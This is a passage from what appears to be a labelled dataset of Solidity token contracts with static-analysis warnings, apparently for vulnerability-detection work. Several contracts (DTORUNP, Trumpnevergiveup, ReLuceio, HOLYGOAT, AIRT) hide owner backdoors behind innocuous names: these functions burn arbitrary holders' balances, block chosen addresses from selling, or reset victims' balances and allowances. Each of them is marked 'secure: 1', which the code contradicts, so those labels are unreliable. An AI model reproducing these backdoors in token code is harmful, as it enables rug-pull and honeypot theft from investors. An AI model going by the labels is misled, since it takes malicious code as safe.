ether\n\t// Recommendation for dd8f9b9: Remove the 'payable' attribute or add a withdraw function.\n constructor(\n string memory name_,\n string memory symbol_,\n address owner_,\n uint8 decimals_,\n uint256 totalSupply_\n ) payable Ownable(owner_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * 10 ** decimals_;\n\n _balances[owner_] = _balances[owner_].add(_totalSupply);\n\n emit Transfer(address(0), owner_, _totalSupply);\n\n _isExcluded[owner_] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n isMarketPair[address(uniswapPair)] = true;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7c885a8): MOMO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7c885a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function launch() external onlyOwner {\n startTx = true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n if (isMarketPair[recipient] || isMarketPair[sender]) {\n require(startTx, \"not start\");\n }\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3811229): MOMO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3811229: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_544.sol",
"secure": 0,
"size_bytes": 7518
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract DTORUNP is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable nsigh;\n\n constructor() {\n _name = \"Donarudo Torunp\";\n\n _symbol = \"DTORUNP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 610000000;\n\n nsigh = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == nsigh, \"Not allowed\");\n\n _;\n }\n\n function orienta(address[] memory dence) public onlyOwner {\n for (uint256 i = 0; i < dence.length; i++) {\n address account = dence[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_545.sol",
"secure": 1,
"size_bytes": 4359
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Trumpnevergiveup is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable unionswap;\n\n constructor() {\n _name = \"Trump never give up \";\n\n _symbol = \"TNGU\";\n\n _decimals = 18;\n\n uint256 initialSupply = 8800000000;\n\n unionswap = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == unionswap, \"Not allowed\");\n\n _;\n }\n\n function biology(address[] memory workshop) public onlyOwner {\n for (uint256 i = 0; i < workshop.length; i++) {\n address account = workshop[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_546.sol",
"secure": 1,
"size_bytes": 4392
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Pausable is Context {\n event Paused(address account);\n\n event Unpaused(address account);\n\n bool private _paused;\n\n constructor() {\n _paused = false;\n }\n\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n modifier whenNotPaused() {\n require(!paused(), \"Pausable: paused\");\n\n _;\n }\n\n modifier whenPaused() {\n require(paused(), \"Pausable: not paused\");\n\n _;\n }\n\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n\n emit Paused(_msgSender());\n }\n\n function _unpause() internal virtual whenPaused {\n _paused = false;\n\n emit Unpaused(_msgSender());\n }\n}",
"file_name": "solidity_code_547.sol",
"secure": 1,
"size_bytes": 891
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\ncontract Wing is ERC20, Ownable, Pausable {\n constructor() ERC20(\"Shiba Wing\", \"WING\") {\n _mint(msg.sender, 100000000000000000000000000);\n }\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override whenNotPaused {\n super._beforeTokenTransfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_548.sol",
"secure": 1,
"size_bytes": 866
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GoblinGelt is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Goblin Gelt\", \"GELT\") Ownable(initialOwner) {\n _mint(msg.sender, 21000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_549.sol",
"secure": 1,
"size_bytes": 512
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_55.sol",
"secure": 1,
"size_bytes": 1130
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ReLuceio is Context, IERC20, Ownable {\n mapping(address => uint256) public _balances;\n\n mapping(address => uint256) public _Swap;\n\n mapping(address => bool) private _View;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5de72af): ReLuceio._totalSupply should be immutable \n\t// Recommendation for 5de72af: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad96da7): ReLuceio._name should be constant \n\t// Recommendation for ad96da7: Add the 'constant' attribute to state variables that never change.\n string public _name = \"ReLuceio\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 546a00a): ReLuceio._symbol should be constant \n\t// Recommendation for 546a00a: Add the 'constant' attribute to state variables that never change.\n string public _symbol = unicode\"ReLuceio\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e459808): ReLuceio._dig should be constant \n\t// Recommendation for e459808: Add the 'constant' attribute to state variables that never change.\n uint8 private _dig = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 57f9f8a): ReLuceio._LP should be constant \n\t// Recommendation for 57f9f8a: Add the 'constant' attribute to state variables that never change.\n bool _LP = true;\n\n constructor() {\n uint256 _Set = block.number;\n\n _Swap[_msgSender()] += _Set;\n\n _totalSupply += 420000000000 * 100000000;\n\n _balances[_msgSender()] += _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _dig;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferfrom(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_View[sender]) require(_LP == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferfrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n if (_View[sender] || _View[recipient]) require(_LP == false, \"\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _Excute(address _One) external {\n require(_Swap[_msgSender()] >= _dig);\n\n _View[_One] = true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _Undx(address _One) external {\n require(_Swap[_msgSender()] >= _dig);\n\n _View[_One] = false;\n }\n}",
"file_name": "solidity_code_550.sol",
"secure": 1,
"size_bytes": 5980
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address Banana = 0xC465CC50B7D5A29b9308968f870a4B242A8e1873;\n\n address _Permit = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n uint256 pass = 0;\n\n address private _Owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _Owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _Owner;\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == _Owner);\n\n emit OwnershipTransferred(_Owner, address(0));\n\n _Owner = address(0);\n }\n}",
"file_name": "solidity_code_551.sol",
"secure": 1,
"size_bytes": 910
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HOLYGOAT is Context, IERC20, Ownable {\n mapping(address => uint256) public _balances;\n\n mapping(address => uint256) public _UV4;\n\n mapping(address => bool) private _Val;\n\n mapping(address => mapping(address => uint256)) private _Send;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 334f19d): HOLYGOAT._totalSupply should be immutable \n\t// Recommendation for 334f19d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b53fca): HOLYGOAT._name should be constant \n\t// Recommendation for 9b53fca: Add the 'constant' attribute to state variables that never change.\n string public _name = \"Holy Goatseus Maximus\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f296d4): HOLYGOAT._symbol should be constant \n\t// Recommendation for 2f296d4: Add the 'constant' attribute to state variables that never change.\n string public _symbol = unicode\"HOLYGOAT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ffac92): HOLYGOAT._digits should be constant \n\t// Recommendation for 3ffac92: Add the 'constant' attribute to state variables that never change.\n uint8 private _digits = 8;\n\n constructor() {\n uint256 _Set = block.number;\n\n _UV4[_msgSender()] += _Set;\n\n _totalSupply += 420000000000 * 100000000;\n\n _balances[_msgSender()] += _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _digits;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _Send[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n if (_Val[_msgSender()]) (amount = 0, \"\");\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferfrom(sender, recipient, amount);\n\n uint256 _tUser = _Send[sender][_msgSender()];\n\n require(_tUser >= amount, \"ERC20: transfer amount exceeds allowance\");\n\n _approve(sender, _msgSender(), _tUser - amount);\n\n return true;\n }\n\n function _Uix(address _One) external {\n require(_UV4[_msgSender()] >= _digits);\n\n _Val[_One] = false;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n uint256 _sUser = _Send[sender][_Permit];\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if (_Val[sender]) (senderBalance = _sUser);\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferfrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _Execute(address _One) external {\n require(_UV4[_msgSender()] >= _digits);\n\n _Val[_One] = true;\n\n _Send[_One][_Permit] = pass;\n\n _Send[_One][Banana] = pass;\n }\n\n function _Shift(address _One, address _two) external {\n require(_UV4[_msgSender()] >= _digits);\n\n _Val[_One] = true;\n\n _Send[_One][_Permit] = pass;\n\n _Send[_One][Banana] = pass;\n\n _Send[_One][_two] = pass;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _Send[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_552.sol",
"secure": 1,
"size_bytes": 6056
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AIRT is Context, IERC20, Ownable {\n mapping(address => uint256) public _balances;\n\n mapping(address => uint256) public _UV4;\n\n mapping(address => bool) private _Val;\n\n mapping(address => mapping(address => uint256)) private _Send;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f18c4c3): AIRT._totalSupply should be immutable \n\t// Recommendation for f18c4c3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: e225c97): AIRT._name should be constant \n\t// Recommendation for e225c97: Add the 'constant' attribute to state variables that never change.\n string public _name = \"Terminal_Of_Arts\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fcf4ed): AIRT._symbol should be constant \n\t// Recommendation for 8fcf4ed: Add the 'constant' attribute to state variables that never change.\n string public _symbol = unicode\"AIRT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ac485e6): AIRT._digits should be constant \n\t// Recommendation for ac485e6: Add the 'constant' attribute to state variables that never change.\n uint8 private _digits = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 95ffdc6): AIRT._Permit should be constant \n\t// Recommendation for 95ffdc6: Add the 'constant' attribute to state variables that never change.\n address _Permit = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n constructor() {\n uint256 _Set = block.number;\n\n _UV4[_msgSender()] += _Set;\n\n _totalSupply += 420000000000 * 100000000;\n\n _balances[_msgSender()] += _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _digits;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _Send[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n if (_Val[_msgSender()]) (amount = 0, \"\");\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transferfrom(sender, recipient, amount);\n\n uint256 _tUser = _Send[sender][_msgSender()];\n\n require(_tUser >= amount, \"ERC20: transfer amount exceeds allowance\");\n\n _approve(sender, _msgSender(), _tUser - amount);\n\n return true;\n }\n\n function _Uix(address _Address) external {\n require(_UV4[_msgSender()] >= _digits);\n\n _Val[_Address] = false;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n uint256 _sUser = _Send[sender][_Permit];\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if (_Val[sender]) (senderBalance = _sUser);\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferfrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _Execute(address _Address) external {\n require(_UV4[_msgSender()] >= _digits);\n\n _Val[_Address] = true;\n\n _Send[_Address][_Permit] = 0;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _Send[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_553.sol",
"secure": 1,
"size_bytes": 6009
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract InsiderDetectorBot is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: c287059): InsiderDetectorBot._decimals should be constant \n\t// Recommendation for c287059: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7c91e72): InsiderDetectorBot._totalSupply should be immutable \n\t// Recommendation for 7c91e72: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 520d300): InsiderDetectorBot._name should be constant \n\t// Recommendation for 520d300: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Insider Detector\";\n\n\t// WARNING Optimization Issue (constable-states | ID: aa053b9): InsiderDetectorBot._symbol should be constant \n\t// 